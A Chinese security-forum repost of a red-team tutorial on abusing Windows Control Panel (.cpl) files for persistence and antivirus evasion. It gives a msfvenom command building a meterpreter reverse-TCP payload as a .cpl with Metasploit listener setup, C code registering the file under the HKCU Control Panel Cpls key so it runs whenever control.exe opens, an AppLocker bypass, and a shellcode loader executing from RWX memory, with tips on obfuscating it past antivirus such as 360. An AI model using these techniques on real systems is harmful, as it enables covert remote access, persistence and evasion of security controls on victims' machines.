安全矩阵

 找回密码
 立即注册
搜索
查看: 2818|回复: 0

巧用cpl文件维权和免杀

[复制链接]

251

主题

270

帖子

1783

积分

金牌会员

Rank: 6Rank: 6

积分
1783
发表于 2022-5-19 09:50:00 | 显示全部楼层 |阅读模式
巧用cpl文件维权和免杀收录于合集
#权限维持 1 个
#红队 20 个

文章首发先知社区:https://xz.aliyun.com/t/9957
前言最近无意间发现了cpl文件,之前对该类型的文件了解几乎为零,由于触及到我的知识盲区,于是决定探究。
cpl文件CPL文件,是Windows控制面板扩展项,CPL全拼为Control Panel Item在system32目录下有一系列的cpl文件,分别对应着各种控制面板的子选项
​编辑

列入我们win+R输入main.cpl

​编辑

将会打开控制面板中的鼠标属性

​编辑

cpl文件本质是属于PE文件

​编辑

但cpl并不像exe,更像是dll,无法直接打开,只能以加载的形式运行。并且有一个导出函数CPlApplet该函数是控制面板应用程序的入口点,它被控制面板管理程序自动调用,且是个回调函数。

​编辑
如何打开cpl

  • 双击或者win+r xxx.cpl
  • control <文件名>
  • rundll32 shell32.dll,Control_RunDLL <文件名> 注意:所有rundll32 shell32.dll,Control_RunDLL的命令均可用control替代,control.exe实质调用了rundll32.exe。打开后找不到control.exe进程,只能找到rundll32.exe。
​编辑
4.vbs脚本

Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("C:\Users\11793\Desktop\cpl.cpl")

​编辑
5.js脚本

var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("C:\\Users\\11793\\Desktop\\cpl.cpl");

​编辑
如何自己制造一个cpl文件
最简单的方式:直接创建一个dll,无需导出函数,然后改后缀名
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        WinExec("Calc.exe", SW_SHOW);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

随便一种方式执行
​编辑
这里既然可以弹出calc.exe,那么能不能执行自己的payload的呢,答案是肯定的。
cpl文件的应用bypass Windows AppLocker什么是Windows AppLocker: AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能。
默认的Applocker规则集合,可以看到cpl并不在默认规则中:
​编辑
开启Applocker规则: 打开计算机管理,选择服务,将Application Identity服务开启
​编辑
然后在安全策略中,添加一条applocker规则,会询问是否添加默认规则
​编辑
默认规则为:
​编辑
假设设置某一路径无法执行可执行程序,再次运行时就会提示组策略安全,不允许运行
​编辑
绕过的方式有很多,这里只讲cpl文件 完全可以把代码写入到cpl文件中,同样达到执行目的,这里就弹一个cmd
​编辑
msf直接生成cpl文件生成cpl文件msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\xff' lhost=192.168.111.128 lport=8877 -f dll -o cpl.cpl
​编辑
将文件拖到本地并运行,msf监听

  • use exploit/multi/handler
  • set payload windows/meterpreter/reverse_tcp
  • set lhost 192.168.111.128
  • set lport 8877
  • exploit

​编辑
这样肯定是不够的,可以把这个cpl文件当作一个后门,做到一个权限维持的效果,且比较隐蔽。将cpl文件名称改为test.cpl创建一个项目,作用为修改注册表:

HKEY hKey;
DWORD dwDisposition;
char path[] = "C:\\test.cpl";
RegCreateKeyExA(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, "test.cpl", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

不一定将cpl文件放到c盘更目录,可以自定义路径 执行后
​编辑
然后这里在开启control.exe时,test.cpl文件也会被打开。
​编辑

如果目标主机有杀软,可以通过该方法白加黑绕过,但是msf的cpl文件特征非常明显,静态太概率都会被杀掉。
​编辑
除了加壳之外,寄希望于自己实现加载shellcode,方便做混淆。

使用shellcode自己做一个cpl文件直接上代码
#include "pch.h"
#include "windows.h"

extern "C" __declspec(dllexport) VOID CPlApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{
    MessageBoxA(0, NULL, "test", MB_OK);
    /* length: 835 bytes */
    unsigned char buf[] = "shellcode";
    LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, buf, sizeof(buf));
    ((void(*)())Memory)();
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

这是最最最最基础的loader 先打开control.exe看看效果
​编辑

看看查杀率
​编辑

这里上传的文本,shellcode没有做任何的处理,查杀率已经算比较低的,如果混淆一下,很轻松的就可以静态过杀软,再用白加黑,是不是想想就很轻松呢。

经过一系列处理后,找杀毒能力还比较强的360试一下
​编辑

参考CPL文件利用介绍 - 三好学生
System Binary Proxy Execution: Control Panel, Sub-technique T1218.002 - Enterprise | MITRE ATT&CK®
使用 AppLocker 规则 (Windows) - Windows security | Microsoft Docs
加下方wx,拉你进群学习
​编辑
往期推荐
调用NtCreateUserProcess创建进程绕过杀软hook
VEH&SEH异常详解
sql注入bypass最新版某狗
软件调试详解
初探windows异常处理
浅谈hook攻防
无处不在的dll劫持
CVE-2021–26855与CVE-2021–27065分析及复现

​编辑
预览时标签不可点
收录于合集 #

上一篇 下一篇
​编辑
微信扫一扫
关注该公众号
[url=]知道了[/url]
​编辑
微信扫一扫
使用小程序
[url=]取消[/url] [url=]允许[/url]
[url=]取消[/url] [url=]允许[/url]
: , 。   视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看 <From:https://mp.weixin.qq.com/s/L7EsdazUxJQYj0f40NFh6A>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 12:10 , Processed in 0.025889 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表